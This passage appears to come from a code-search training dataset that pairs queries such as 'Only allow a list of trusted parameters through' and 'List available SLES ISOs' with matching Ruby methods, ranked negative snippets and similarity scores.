execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a list of trusted parameters through.
def entity_params params.require(:entity).permit(:name, :database, :domain) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def param_whitelist\n [:role, :title]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def allow_params_authentication!; end", "def whitelisted_args\n args.select &:allowed\n end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def safe_list_sanitizer; end", "def filtered_parameters; end", "def sanitize_params_for user, params, allowed_params\n params.each do |key, val|\n #if allowed_params.include?(key)\n #sanitize!(user, params, key) if key =~ /_attributes|_ids$/\n #else\n #params.delete(key)\n #end\n params.delete(key) unless allowed_params.include?(key.to_sym)\n end\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def expected_permitted_parameter_names; end", "def sanitize_parameters!(sanitizer, params)\n # replace :readwrite with :onlyif\n if params.has_key?(:readwrite)\n warn \":readwrite is deprecated. Replacing with :onlyif\"\n params[:onlyif] = params.delete(:readwrite)\n end\n\n # add default parameters\n bindata_default_parameters.each do |k,v|\n params[k] = v unless params.has_key?(k)\n end\n\n # ensure mandatory parameters exist\n bindata_mandatory_parameters.each do |prm|\n if not params.has_key?(prm)\n raise ArgumentError, \"parameter ':#{prm}' must be specified \" +\n \"in #{self}\"\n end\n end\n\n # ensure mutual exclusion\n bindata_mutually_exclusive_parameters.each do |param1, param2|\n if params.has_key?(param1) and params.has_key?(param2)\n raise ArgumentError, \"params #{param1} and #{param2} \" +\n \"are mutually exclusive\"\n end\n end\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_list_sanitizer=(_arg0); end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def param_whitelist\n [:rating, :review]\n end", "def check_params; true; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end", "def allowed?(*_)\n true\n end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def allowed_params(parameters)\n parameters.select do |name, values|\n values.location != \"path\"\n end\n end", "def secure_params\n return @secure_params if @secure_params\n\n defn = implementation_class.definition\n field_list = [:master_id] + defn.field_list_array\n\n res = params.require(controller_name.singularize.to_sym).permit(field_list)\n res[implementation_class.external_id_attribute.to_sym] = nil if implementation_class.allow_to_generate_ids?\n @secure_params = res\n end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permit( params, whitelist, name = nil )\n raise 'Parametrization not yet configured' unless @configured\n whitelist ||= []\n px = params.respond_to?( :permit ) ? params : ActionController::Parameters.new( params )\n px = dig(px, name)\n px.permit( *whitelist )\n end", "def valid_params?; end", "def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end", "def url_allowlist=(_arg0); end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def list_params\n params.permit(:list_name)\n end", "def valid_params_request?; end", "def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end", "def param_list(param_type, name, type, required, description = nil, allowed_values = [], hash = {})\n hash.merge!({allowable_values: {value_type: \"LIST\", values: allowed_values}})\n param(param_type, name, type, required, description, hash)\n end", "def safelists; end", "def authorize_own_lists\n authorize_lists current_user.lists\n end", "def listed_params\n params.permit(:listed, :list_id, :listable_id, :listable_type, :campsite_id)\n end", "def lists_params\n params.require(:list).permit(:name)\n\n end", "def list_params\n params.require(:list).permit(:name, :user_id)\n end", "def list_params\n params.require(:list).permit(:name, :description, :type, :privacy, :allow_edit, :rating, :votes_count, :user_id)\n end", "def check_params\n true\n end", "def authorize_own_or_shared_lists\n authorize_lists current_user.all_lists\n end", "def user_pref_list_params\n\t\tparams.require(:user).permit(:preference_list)\n\tend", "def may_contain!(*keys)\n self.allow_only_permitted = true\n self.permitted_keys = [*permitted_keys, *keys].uniq\n end", "def filter_parameters; end", "def filter_parameters; end", "def whitelist; end", "def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.permit(:name)\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :list, :references)\n end", "def cancan_parameter_sanitizer\n resource = controller_name.singularize.to_sym\n method = \"#{resource}_params\"\n params[resource] &&= send(method) if respond_to?(method, true)\n end", "def list_params\n params.require(:list).permit(:name).merge(user_id: current_user.id)\n end", "def whitelist_place_params\n params.require(:place).permit(:place_name, :unlock, :auth, :is_deep_checked, :parent_ADM4, :parent_ADM3, :parent_ADM2, :parent_ADM1, :parent_country, feature_code: [], same_as: [], related_authority: [], altlabel: [], note: []) # Note - arrays need to go at the end or an error occurs!\n end", "def list_params\n params.fetch(:list, {}).permit(:user_id, :name, :active)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def secure_params(require_param, permit_keys)\n params.require(require_param).permit(*permit_keys)\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def permitted_params\n []\n end", "def price_list_params\n params.fetch(:price_list, {}).permit(:name, :valid_from, :valid_to, :active,\n :all_warehouses, :all_users, :all_contact_groups,\n warehouse_ids: [], price_lists_user_ids: [], contact_group_ids: [])\n end", "def params(list)\n @declared_params = list\n end", "def admin_review_params\n params.fetch(:review, {}).permit(whitelisted_params)\n end", "def saved_list_params\n params.require(:saved_list).permit(:user_id)\n end", "def allow(ids); end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def filter_params(param_set, **kwargs)\r\n begin\r\n key = kwargs[:key]\r\n params.require(key).permit(*param_set)\r\n rescue Exception\r\n params.permit(*param_set)\r\n end\r\n end", "def valid_parameters\n sort_symbols(@interface.allowed_parameters)\n end", "def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end", "def list_params\n params.require(:list).permit(:name)\n end", "def secure_params\n return @secure_params if @secure_params\n\n @implementation_class = implementation_class\n resname = @implementation_class.name.ns_underscore.gsub('__', '_').singularize.to_sym\n @secure_params = params.require(resname).permit(*permitted_params)\n end", "def refine_permitted_params(param_list)\n res = param_list.dup\n\n ms_keys = res.select { |a| columns_hash[a.to_s]&.array }\n ms_keys.each do |k|\n res.delete(k)\n res << { k => [] }\n end\n\n res\n end", "def recipient_list_params\n params.require(:recipient_list).permit(:name, :description, recipient_id_array: [])\n end", "def safelist; end", "def sponsor_params\n params.require(:sponsor).permit(WHITE_LIST)\n end", "def valid_for_params_auth?; end", "def default_param_whitelist\n [\"mode\"]\n end", "def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end", "def shopping_list_params\n params.require(:shopping_list).permit!\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def permitters\n @_parametrizr_permitters || {}\n end", "def allow_params(action, keys: nil, except: nil, &blk)\n keys &&= Array.wrap(keys)\n keys ||= User.field_names\n except &&= Array.wrap(except)\n except ||= %i[id email]\n devise_parameter_sanitizer.permit(action, keys: keys, except: except, &blk)\n end", "def list_params\n if current_user && current_user.role == 'admin'\n params.require(:list).permit(:name, :url, :description, :user_id,\n ideas_attributes: [:id, :list_id, :body, :due_date, :completion_status, :_destroy])\n else\n params.require(:list).permit(:name, :description,\n ideas_attributes: [:body, :due_date, :completion_status]) \n end\n end", "def whitelist(params)\n send_request_of_type(GlobalConstant::PrivateOpsApi.private_ops_api_type, 'post', '/token-sale/whitelist', params)\n end", "def valid_access_params\n params.require(:valid_access).permit(:wish_list_id, :user_id)\n end", "def url_allowlist; end", "def ensure_redirected_params_are_safe!(passed_params)\n unless passed_params.is_a?(ActionController::Parameters) && passed_params.permitted?\n error_message = if passed_params.is_a?(ActionController::Parameters)\n unsafe_parameters = passed_params.send(:unpermitted_keys, params)\n \"[Rails::Prg] Error - Must use permitted strong parameters. Unsafe: #{unsafe_parameters.join(', ')}\"\n else\n \"[Rails::Prg] Error - Must pass strong parameters.\"\n end\n raise error_message\n end\n end", "def data_collection_params\n allow = [:name,:description,:institution,:collection_name,:country_id,:province_id,:city_id]\n params.require(:data_collection).permit(allow)\n end", "def quote_params\n params.permit!\n end" ]
[ "0.69497335", "0.6812623", "0.6803639", "0.6795365", "0.67448795", "0.67399913", "0.6526815", "0.6518771", "0.64931697", "0.6430388", "0.6430388", "0.6430388", "0.63983387", "0.6356042", "0.63535863", "0.63464934", "0.63444513", "0.6337208", "0.6326454", "0.6326454", "0.6326454", "0.63140553", "0.6299814", "0.62642586", "0.626006", "0.62578833", "0.6236823", "0.6227561", "0.6221758", "0.62200165", "0.620879", "0.61983657", "0.6195055", "0.6172993", "0.6156856", "0.61558664", "0.61521494", "0.6135789", "0.6121145", "0.61118174", "0.60736513", "0.6071645", "0.60632104", "0.60549796", "0.6043906", "0.6034662", "0.60207325", "0.6018568", "0.6016575", "0.60103434", "0.60084206", "0.600763", "0.6007443", "0.6003619", "0.6003619", "0.5995791", "0.5993301", "0.5993231", "0.5984926", "0.597122", "0.5968121", "0.5965808", "0.59640145", "0.59632224", "0.59602356", "0.59332967", "0.5927556", "0.5922805", "0.5909745", "0.5905083", "0.5904304", "0.5893434", "0.58888215", "0.58823985", "0.58823985", "0.58823985", "0.5873434", "0.58619875", "0.58533794", "0.5845531", "0.58426666", "0.58360124", "0.583218", "0.5828041", "0.5827927", "0.5816121", "0.5814705", "0.5812719", "0.581121", "0.5803423", "0.5803423", "0.57995003", "0.5794207", "0.5784923", "0.5781365", "0.5776385", "0.5774859", "0.57671493", "0.5766998", "0.57618684", "0.5758038" ]
0.0
-1
List available SLES ISOs
def list_ay_isos(options) options['method'] = "ay" if not options['search'].to_s.match(/[a-z]|[A-Z]|all/) options['search'] = "SLE|SuSE" end list_linux_isos(options) return end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def list_ps_isos()\n search_string = \"ubuntu\"\n list_linux_isos(search_string)\n return\nend", "def list_sol_isos(search_string)\n handle_output(options,\"\") \n list_js_isos()\n list_ai_isos()\n return\nend", "def index\n @ssystems = Ssystem.all\n end", "def list_vs_services(options)\n options['method'] = \"vs\"\n dir_list = get_dir_item_list(options)\n message = \"vSphere Services:\"\n handle_output(options,message)\n dir_list.each do |service|\n handle_output(options,service)\n end\n handle_output(options,\"\")\n return\nend", "def sapi_list\n @sapi_list ||= if supports_php5query?\n `/usr/sbin/php5query -q -S`.split(\"\\n\")\n else Array.new\n end\n end", "def interfaces_list\n [\n {\n 'uri' => '/catalogues',\n 'method' => 'GET',\n 'purpose' => 'REST API Structure and Capability Discovery'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'GET',\n 'purpose' => 'List all NSs or specific NS',\n 'special' => 'Use version=last to retrieve NSs last version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific NS by its uuid'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'POST',\n 'purpose' => 'Store a new NS'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored NS specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored NS by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update NSD status'\n },\n {\n 'uri' => '/catalogues/network-services',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific NS specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/network-services/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific NS by its uuid'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'GET',\n 'purpose' => 'List all VNFs or specific VNF',\n 'special' => 'Use version=last to retrieve VNFs last version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific VNF by its uuid'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'POST',\n 'purpose' => 'Store a new VNF'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored VNF specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored VNF by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update VNFD status'\n },\n {\n 'uri' => '/catalogues/vnfs',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific VNF specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/vnfs/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific VNF by its uuid'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'GET',\n 'purpose' => 'List all Packages or specific Package',\n 'special' => 'Use version=last to retrieve Packages last version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific Package by its uuid'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'POST',\n 'purpose' => 'Store a new Package'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored Package specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'PUT',\n 'purpose' => 'Update a stored Package by its uuid',\n 'special' => 'Use status=[inactive, active, delete] to update PD status'\n },\n {\n 'uri' => '/catalogues/packages',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific Package specified by vendor, name, version'\n },\n {\n 'uri' => '/catalogues/packages/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Delete a specific Package by its uuid'\n },\n {\n 'uri' => '/catalogues/packages/{id}/status',\n 'method' => 'PUT',\n 'purpose' => 'Updates the status of a Package {\"status\": \"active\" / \"inactive\"} as valid json payloads'\n },\n {\n 'uri' => '/catalogues/son-packages',\n 'method' => 'GET',\n 'purpose' => 'List all son-packages or specific son-package'\n },\n {\n 'uri' => '/catalogues/son-packages',\n 'method' => 'POST',\n 'purpose' => 'Store a new son-package'\n },\n {\n 'uri' => '/catalogues/son-packages/{id}',\n 'method' => 'GET',\n 'purpose' => 'List a specific son-package by its uuid'\n },\n {\n 'uri' => '/catalogues/son-packages/{id}',\n 'method' => 'DELETE',\n 'purpose' => 'Remove a son-package'\n }\n ]\n end", "def available_servers\n authenticate_user!\n @rackspace_servers = Server.rackspace_servers\n end", "def resource_sapi_list\n if new_resource.php_sapi.include?('ALL') then sapi_list\n elsif supports_php5query? then new_resource.php_sapi\n else Array.new\n end\n end", "def createClonableList\n items = []\n Builtins.foreach(Y2ModuleConfig.ModuleMap) do |def_resource, resourceMap|\n Builtins.y2debug(\n \"r: %1 => %2\",\n def_resource,\n Ops.get_string(resourceMap, \"X-SuSE-YaST-AutoInstClonable\", \"false\")\n )\n clonable = Ops.get_string(\n resourceMap,\n \"X-SuSE-YaST-AutoInstClonable\",\n \"false\"\n ) == \"true\"\n if clonable || \"partitioning\" == def_resource ||\n \"software\" == def_resource || # has no desktop file\n \"bootloader\" == def_resource # has no desktop file\n desktop_file = Builtins.substring(\n Ops.get_string(resourceMap, \"X-SuSE-DocTeamID\", \"\"),\n 4\n )\n name = Builtins.dpgettext(\n \"desktop_translations\",\n \"/usr/share/locale/\",\n Ops.add(\n Ops.add(Ops.add(\"Name(\", desktop_file), \".desktop): \"),\n Ops.get_string(resourceMap, \"Name\", \"\")\n )\n )\n if name ==\n Ops.add(\n Ops.add(Ops.add(\"Name(\", desktop_file), \".desktop): \"),\n Ops.get_string(resourceMap, \"Name\", \"\")\n )\n name = Ops.get_string(resourceMap, \"Name\", \"\")\n end\n # Set resource name, if not using default value\n resource = Ops.get_string(\n resourceMap,\n \"X-SuSE-YaST-AutoInstResource\",\n \"\"\n )\n resource = def_resource if resource == \"\"\n if resource != \"\"\n items = Builtins.add(items, Item(Id(resource), name))\n else\n items = Builtins.add(items, Item(Id(def_resource), name))\n end\n end\n end\n # sort items for nicer display\n items = Builtins.sort(\n Convert.convert(items, :from => \"list\", :to => \"list <term>\")\n ) do |x, y|\n Ops.less_than(Ops.get_string(x, 1, \"x\"), Ops.get_string(y, 1, \"y\"))\n end\n deep_copy(items)\n end", "def list_ps_isos(options)\n if not options['search'].to_s.match(/[a-z]|[A-Z]|all/)\n options['search'] = \"ubuntu|debian|purity\"\n end\n list_linux_isos(options)\n return\nend", "def interfaces_list\n\t\t[\n\t\t\t{\n\t\t\t\t'uri' => '/',\n\t\t\t\t'method' => 'GET',\n\t\t\t\t'purpose' => 'REST API Structure and Capability Discovery'\n\t\t\t}\n\t\t]\n\tend", "def index\n @aws_platforms = AwsPlatform.all\n end", "def index\n @nfi_systems = NfiSystem.all\n end", "def site_list\n @sites = Haiwet::Site.list\n @sites.each.with_index(1) do |site, i|\n puts \"\\n #{i}- #{site.name}\"\n end\n end", "def operating_systems\n collect\n end", "def platform_list; ['all','xbox-360']; end", "def index\n @sunsystems = Sunsystem.all\n end", "def index\n @rack_installations = RackInstallation.all\n end", "def list_os_tpl\n filters = []\n filters << { name: 'image-type', values: ['machine'] }\n filters << { name: 'image-id', values: @image_filtering_image_list } if IMAGE_FILTERING_POLICIES_LISTED.include?(@image_filtering_policy)\n owners = IMAGE_FILTERING_POLICIES_OWNED.include?(@image_filtering_policy) ? [ 'self' ] : nil\n\n ec2_images_ary = Backends::Helpers::CachingHelper.load(@dalli_cache, DALLI_OS_TPL_KEY)\n unless ec2_images_ary\n ec2_images_ary = []\n\n Backends::Ec2::Helpers::AwsConnectHelper.rescue_aws_service(@logger) do\n ec2_images = if owners\n @ec2_client.describe_images(filters: filters, owners: owners).images\n else\n @ec2_client.describe_images(filters: filters).images\n end\n\n ec2_images.each { |ec2_image| ec2_images_ary << { image_id: ec2_image[:image_id], name: ec2_image[:name] } } if ec2_images\n end\n\n Backends::Helpers::CachingHelper.save(@dalli_cache, DALLI_OS_TPL_KEY, ec2_images_ary)\n end\n\n os_tpls = ::Occi::Core::Mixins.new\n ec2_images_ary.each { |ec2_image| os_tpls << mixin_from_image(ec2_image) }\n\n os_tpls\n end", "def index\n @spis = Spi.all\n end", "def list_for(sn)\n ret = get(\"/?sn=#{sn}\")\n return [] if ret.kind_of?(Hash)\n ret.lines.map{|i|i.chomp}\n end", "def all_servers\n Infrataster::Server.defined_servers.map { |i| server(i.name) }\nend", "def list_cc_services(options)\n options['method'] = \"ci\"\n dir_list = get_dir_item_list(options)\n message = \"Ubuntu Subiquity or Cloud Config/Init Services:\"\n handle_output(options,message)\n dir_list.each do |service|\n handle_output(options,service)\n end\n handle_output(options,\"\")\n return\nend", "def index\n @os_types = OsType.all\n end", "def index\n @socio_spcs = SocioSpc.all\n end", "def listNodes\n nodes = []\n me = MU::Cloud::AWS::ServerPool.find(cloud_id: cloud_id).values.first\n if me and me.instances\n me.instances.each { |instance|\n found = MU::MommaCat.findStray(\"AWS\", \"server\", cloud_id: instance.instance_id, region: @region, dummy_ok: true)\n nodes.concat(found)\n }\n end\n nodes\n end", "def index\n @sys_roles = SysRole.all\n end", "def names(params = {})\n Iterable.request(conf, '/catalogs', params).get\n end", "def all_site_details\r\n @nsc.sites\r\n end", "def service_list\n\t\tif session_has_services_depend?\n\t\t\tmeterpreter_service_list\n\t\telse\n\t\t\tshell_service_list\n\t\tend\n\tend", "def index\n @siseasclasses = Siseasclass.all\n end", "def list_all_installable_packages(server)\n @connection.call('system.list_all_installable_packages', @sid, server)\n end", "def list_ai_parallels_vms(options)\n options['search'] = \"solaris-11\"\n list_parallels_vms(options)\n return\nend", "def list_installed(options={})\n software, version = parse_software_args((options[:software]||options[:package]||\"\"), options[:version])\n run_command(\"#{command} list #{software} | grep \\\"*\\\"\", options)\n end", "def list_services\n @services\n end", "def get_interfaces\n @list = %x(/usr/sbin/networksetup -listallnetworkservices).split(\"\\n\").drop(1)\n end", "def skins\n client.get \"skins/#{inst_id}/list\"\n end", "def scm_list?; SCM_FALSE; end", "def listserv\n listservs.first\n end", "def index\n @os_families = OsFamily.all\n end", "def list_stations\n if @stations.empty?\n stations_void\n else\n stations_list\n end\n end", "def servers\n list = []\n Penctl.execute(@pen, \"servers\", 5).each do |l| \n server = Penctl.parse_server_line(l)\n list[server[:slot]] = server\n end\n list.compact\n end", "def get_vms\n return [] unless File.executable? '/usr/bin/virsh'\n\n cmd_out = Facter::Core::Execution.exec('/usr/bin/virsh list --all ').split(\"\\n\")\n\n cmd_out.shift(2) # remove the outputs headers\n\n return [] if cmd_out.empty?\n\n cmd_out.map! { |line| line.chomp }\nend", "def index\n @asos_stations = AsosStation.all\n end", "def index\n @catalogs = Catalog.list_public()\n end", "def index\n @serverhascontainers = Serverhascontainer.all\n end", "def list_scanners\n http_get(:uri=>\"/scanners\", :fields=>x_cookie)\n end", "def get_shelves\n shelves = [@shelf_ag, @shelf_hp, @shelf_qz]\n return shelves\n end", "def list_seg\n raise \"no openstack instance\" if @openstack.nil?\n response = @openstack.list_security_groups\n keys = parse_hash_response(response.body, 'security_groups')\n keys.map { |k| k.fetch('name') }\n end", "def index\n @it_systems = ItSystem.all\n end", "def list\n @manage_sieve.print_scripts\n end", "def list\n response = @client.get('scanners')\n verify response,\n forbidden: 'You do not have permission to view the list',\n internal_server_error: 'Server failed to retrieve properties'\n end", "def index\n @sirens = Siren.all\n end", "def list_ai_fusion_vms(options)\n options['search'] = \"solaris\"\n list_fusion_vms(search_string)\n return\nend", "def servers\n @servers.select { |server| server.operable? }\n end", "def index\n @snifs = Snif.all\n end", "def listSoftwareChannels\n channels = @connection.call('channel.listSoftwareChannels', @sid)\n channels.each do |c|\n print ' Channel: ' + \"\\n\"\n c.keys.each do |key|\n print ' ' + key + ': ' + c[key] + \"\\n\"\n end\n end\n end", "def list_known_servers\n connect.servers.all\n end", "def list(selection=nil)\n\n env.config.providers.each do |name,provider|\n env.ui.info(\"Asking provider #{name} to list keystore #{selection}\")\n provider.keystore_list(selection,options)\n end\n end", "def app_list\n host_os_family.app_list( self )\n end", "def fetch_installed_vibs\n Puppet.debug(\"Getting list of installed VIBs...\")\n cnt = 0\n host.esxcli.software.vib.get.each do |installed_vib_data|\n if installed_vib_data[:ID]\n @processed_vibs[installed_vib_data[:ID]] = installed_vib_data\n cnt += 1\n end\n end\n Puppet.debug(\"Found %d installed VIBs\" % cnt)\n end", "def index\n @servers = @site.servers\n end", "def list_ks_vbox_vms()\n search_string = \"rhel|centos|ubuntu\"\n list_vbox_vms(search_string)\n return\nend", "def get_servers\n\t\t\tbegin\n\t\t\t\tresp = @rs_conn.get('/servers')\n\n\t\t\t\t# 200 Success :: anything else is failure\n\t\t\t\tunless resp.code == \"200\"\n\t\t\t\t\traise \"Error requesting server list. Error code #{resp.code}\"\n\t\t\t\tend\n\t\t\t\t# Convert the output to json\n\t\t\t\tserver_list = JSON.parse(resp.body)\n\t\t\t\treturn server_list\n\t\t\trescue Exception => e\n\t\t\t\traise e\n\t\t\tend\n\t\tend", "def list_animals \n puts \"Here are the current animals in shelter: \"\n @animals_in_shelter.each do |animal|\n puts animal.get_animal_info\n end\n end", "def ls\n show_fields = options[:l] ? %w[name appid stateflags sizeondisk] : %w[name]\n output = @apps.map do |id, app|\n app.select{ |field| show_fields.include?(field) }\n end\n\n puts output.map{ |o| o.values.join(\"\\t\")}.join(\"\\n\")\n end", "def services\n services = RingyDingy::RingServer.list_services\n return [] if services.empty?\n\n services = RingyDingy::RingServer.list_services.values.first.uniq\n\n rrc_servers = services.select do |_, 